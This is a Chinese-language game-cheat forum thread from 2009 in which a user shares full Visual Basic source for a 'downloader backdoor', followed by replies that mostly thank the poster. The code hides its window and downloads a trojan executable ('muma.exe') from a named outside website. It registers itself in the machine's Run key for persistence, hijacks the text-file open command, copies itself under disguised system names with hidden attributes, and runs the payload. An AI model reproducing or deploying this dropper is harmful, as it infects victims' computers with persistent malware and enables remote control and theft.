黃易群俠傳M脫機外掛應用程式黃易神行
2768
7

[分享] VB下載者後門

vion 發表於 2009-3-26 11:44:48 | 只看該作者 回帖獎勵 |倒序瀏覽 |
VB下載者後門
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

'延遲1
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
' Note that if you declare the lpData parameter as String, you must pass it By Value.
Const Key_Run = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Private Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1
' Unicode nul terminated string
Dim LhKey As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Sys As String '系統目錄
Private US As String '自己

Private Tmp As String '暫存檔案夾
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
Dim keyHand As Long
Dim R As Long
R = RegCreateKey(hKey, strPath, keyHand)
R = RegSetValueEx(keyHand, strValue, 0, REG_SZ, ByVal strData, LenB(StrConv(strData, vbFromUnicode))) 'LenB(StrConv(strData, vbFromUnicode))中文長度以2計算
R = RegCloseKey(keyHand)
End Sub
Private Sub Form_Load()
On Error Resume Next
Dim RegEdit As Object, Apppath As String

Dim Cp As String
Dim Ret As Long
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
Form1.Visible = False
Sys = String(255, 0)
Ret = GetSystemDirectory(Sys, 255)
Sys = Left(Sys, Ret) '獲得系統目錄
US = String(1024, 0) '獲得自己的完整路徑
Ret = GetModuleFileName(0, US, 1024)
US = Left(US, InStr(US, Chr(0)) - 1)
Tmp = Temp '獲得完整臨時目錄
If Dir(Sys & "\" & "muma.exe") = "" Then

Ret = URLDownloadToFile(0, "http://www.6dsoft.cn/muma.exe", Sys & "\muma.exe", 0, 0)

End If
Cp = Sys & "\system.exe" '你在 Google 輸入 inetdbs.exe 就可以找得到該病毒的介紹了
Ret = RegCreateKey(HKEY_LOCAL_MACHINE, Key_Run, LhKey) '寫入註冊表,以便開機重啟
Ret = RegSetValueEx(LhKey, "server", 0&, REG_SZ, ByVal Cp, Len(Cp) + 1)
Ret = RegCloseKey(LhKey)
If InStr(UCase(US), "INETDBS") = 0 Then
End If

Apppath = IIf(Right(App.Path, 1) = "\", Left(App.Path, Len(App.Path) - 1), App.Path)

'取得當前路徑,如果是在根目錄下就要去掉一個“\"

Set RegEdit = CreateObject("WScript.Shell")

RegEdit.regwrite "HKEY_CLASSES_ROOT\txtfile\shell\open\command\", Sys & "\" & "rund1132" & ".exe %1"

On Error Resume Next

Dim cmd As String

cmd = Command()

If cmd <> "" Then

Shell "NOTEPAD.EXE " & cmd, vbNormalFocus

End If
On Error Resume Next
FileCopy sCurrentPath, Sys & "\System.exe"
On Error Resume Next
FileCopy sCurrentPath, Sys & "\" & "\rund1132.exe"
SetAttr Sys & "\" & "\rund1132.exe", 7
'判斷程式是否下在運行
If App.PrevInstance Then
End
End If

Do While Dir(Sys & "\" & "muma.exe") = ""

Ret = URLDownloadToFile(0, "url", Sys & "\muma.exe", 0, 0)

Call Sleep(100000)
Loop


Shell Sys & "\" & "muma" & ".exe", vbNormalFocus

End Sub

模組:
Option Explicit
Public Const HKEY_CURRENT_USER = &H80000001
Public Const REG_DWORD = 4
Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

收藏收藏 分享分享 讚 幹 分享分享 FB分享
回覆

使用道具 舉報


Goldenwolf 當前離線
UID
1166302
熱心
75 值
嘉獎
0 次
違規
0 次
在線時間
17 小時
經驗
75 點
積分
426
精華
0
最後登錄
2009-10-8
閱讀權限
25
註冊時間
2009-3-28
論壇幣
259 幣
聯合幣
0 枚
幸運鑽
0 顆
招待卷
0 點
查看詳細資料
Rank: 3
Goldenwolf 2009-4-1 09:43:15
剛開始我看標題的後門 還以為是木馬後門 看來是想太多了 感謝大大的分享!!
回覆

使用道具 舉報

may05005 當前離線
UID
1208553
熱心
42 值
嘉獎
0 次
違規
0 次
在線時間
15 小時
經驗
32 點
積分
146
精華
0
最後登錄
2018-8-6
閱讀權限
20
註冊時間
2009-5-7
論壇幣
50 幣
聯合幣
6 枚
幸運鑽
0 顆
招待卷
0 點
查看詳細資料
Rank: 2Rank: 2
may05005 2009-5-12 16:03:33
感謝大大提供,雖然還是不太懂,努力吧。
回覆

使用道具 舉報

蠢小鬼 當前離線
UID
1224991
熱心
46 值
嘉獎
0 次
違規
0 次
在線時間
3 小時
經驗
16 點
積分
16
精華
0
最後登錄
2009-6-6
閱讀權限
10
註冊時間
2009-5-30
論壇幣
24 幣
聯合幣
0 枚
幸運鑽
0 顆
招待卷
0 點
查看詳細資料
Rank: 1
蠢小鬼 2009-6-2 01:29:57
謝謝分享YCT41B
謝謝分享YCT41B
回覆

使用道具 舉報

s12134546 當前離線
UID
517949
熱心
107 值
嘉獎
0 次
違規
0 次
在線時間
69 小時
經驗
104 點
積分
104
精華
0
最後登錄
2011-4-19
閱讀權限
20
註冊時間
2007-8-27
論壇幣
1 幣
聯合幣
0 枚
幸運鑽
0 顆
招待卷
0 點
查看詳細資料
Rank: 2Rank: 2
5
s12134546 2009-7-22 15:54:42
有人 可以發函數的教學嗎   都看不懂
回覆

使用道具 舉報

ttokinmba 當前離線
UID
1435613
熱心
25 值
嘉獎
0 次
違規
0 次
在線時間
2 小時
經驗
25 點
積分
25
精華
0
最後登錄
2010-4-10
閱讀權限
20
註冊時間
2010-4-2
論壇幣
102 幣
聯合幣
0 枚
幸運鑽
0 顆
招待卷
0 點
查看詳細資料
Rank: 2Rank: 2
6
ttokinmba 2010-4-2 15:26:37
我看不太懂0.0.......................
回覆

使用道具 舉報

f6f3f3f6 當前離線
UID
1104356
熱心
134 值
嘉獎
0 次
違規
0 次
在線時間
65 小時
經驗
-1 點
積分
1133
精華
0
最後登錄
2014-5-30
閱讀權限
30
註冊時間
2009-1-4
論壇幣
929 幣
聯合幣
0 枚
幸運鑽
0 顆
招待卷
0 點
查看詳細資料
Rank: 4Rank: 4
7
f6f3f3f6 2010-4-3 08:38:26
0962 0962 0962 0962 0962 0962 0962
回覆

使用道具 舉報

binnie520 當前離線
UID
1531771
熱心
32 值
嘉獎
0 次
違規
0 次
在線時間
10 小時
經驗
33 點
積分
33
精華
0
最後登錄
2014-6-17
閱讀權限
20
註冊時間
2010-8-25
論壇幣
8 幣
聯合幣
1 枚
幸運鑽
0 顆
招待卷
0 點
查看詳細資料
Rank: 2Rank: 2
8
binnie520 2010-8-26 00:26:29
謝謝分享
努力搞懂中..........
回覆

使用道具 舉報

您需要登錄後才可以回帖 登錄 | 註冊


手機版 | Archiver | 外掛聯合國

GMT+8, 2025-1-19 03:37 , Processed in 0.058411 second(s), 16 queries , Memcache On.

版權說明:
  本站不會製作、經銷、代理外掛程式。僅免費提供外掛程式下載前之掃毒及掃木馬等安全檢測驗證,協助會員遠離盜號危險程式。本站所有資料均來自網際網路收集整理,說明文字暨下載連結轉載自原程 式開發站。站上出現之公司名稱、遊戲名稱、程式等,商標及著作權,均歸各公司及程式原創所有,本站程式所有權歸外掛聯合國所有。本程式所有權歸外掛聯合國所有.......

回頂部
第二步?
第三步?